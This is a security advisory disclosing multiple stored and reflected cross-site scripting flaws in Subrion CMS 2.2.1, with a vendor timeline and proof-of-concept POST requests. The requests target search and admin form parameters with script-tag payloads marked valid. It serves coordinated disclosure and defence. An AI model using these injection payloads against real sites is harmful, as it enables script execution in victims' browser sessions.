Subrion CMS 2.2.1 Multiple Remote XSS POST Injection Vulnerabilities Vendor: Intelliants LLC Product web page: http://www.subrion.com Affected version: 2.2.1 Summary: Subrion is a free open source content management system. It's written in PHP 5 and utilizes MySQL database. Subrion CMS can be easily integrated into your current website or used as a stand alone platform. It's extremely flexible and scalable php system that stands for a content management framework. Desc: Subrion CMS suffers from multiple stored and reflected cross-site scripting vulnerabilities. The issues are triggered when input passed via several parameters to several scripts is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Apache 2.4.2 (Win32) PHP 5.4.4 MySQL 5.5.25a Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Vendor status: [05.09.2012] Vulnerabilities discovered. [06.09.2012] Contact with the vendor. [07.09.2012] Vendor responds asking more details. [07.09.2012] Sent detailed information to the vendor. [10.09.2012] Vendor creates patch. [11.09.2012] Vendor releases version 2.2.2 to address these issues. [11.09.2012] Coordinated public security advisory released. Advisory ID: ZSL-2012-5105 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5105.php 05.09.2012 --------------------------------------------------------------------------------------- POST http://localhost/subrion/advsearch/ HTTP/1.1 (Reflected) cond[accounts][fullname]=LIKE cond[accounts][username]=LIKE f[accounts][fullname]="><script>alert(1);</script> ------------ [ Valid ] f[accounts][username]="><script>alert(2);</script> ------------ [ Valid ] items[]=accounts q= --------------------------------------------------------------------------------------- POST http://localhost/subrion/admin/manage/blocks/add/ HTTP/1.1 (Stored) collapsible=1 contents[en]= do=add external=0 filename= goto=list id= multi_contents=test multi_language=1 multi_title="><script>alert(3);</script> ------------ [ Valid ] name=test position=header save=Add show_header=1 status=active sticky=1 subpages[accounts]= subpages[view_account]= title[en]= type=plain --------------------------------------------------------------------------------------- POST http://localhost/subrion/admin/manage/plans/add/ HTTP/1.1 (Reflected) cost="><script>alert(4);</script> ------------ [ Valid ] days="><script>alert(5);</script> ------------ [ Valid ] description[en]=test goto=list item=accounts save=Save status=active title[en]="><script>alert(6);</script> ------------ [ Valid ] usergroup=0 --------------------------------------------------------------------------------------- POST http://localhost/subrion/admin/manage/fields/group/add/ HTTP/1.1 (Reflected) add_fieldgroup=yes collapsed=0 description[en]=test goto=list items_to_add[accounts]=accounts name="><script>alert(7);</script> ------------ [ Valid ] titles[en]="><script>alert(8);</script> ------------ [ Valid ] ---------------------------------------------------------------------------------------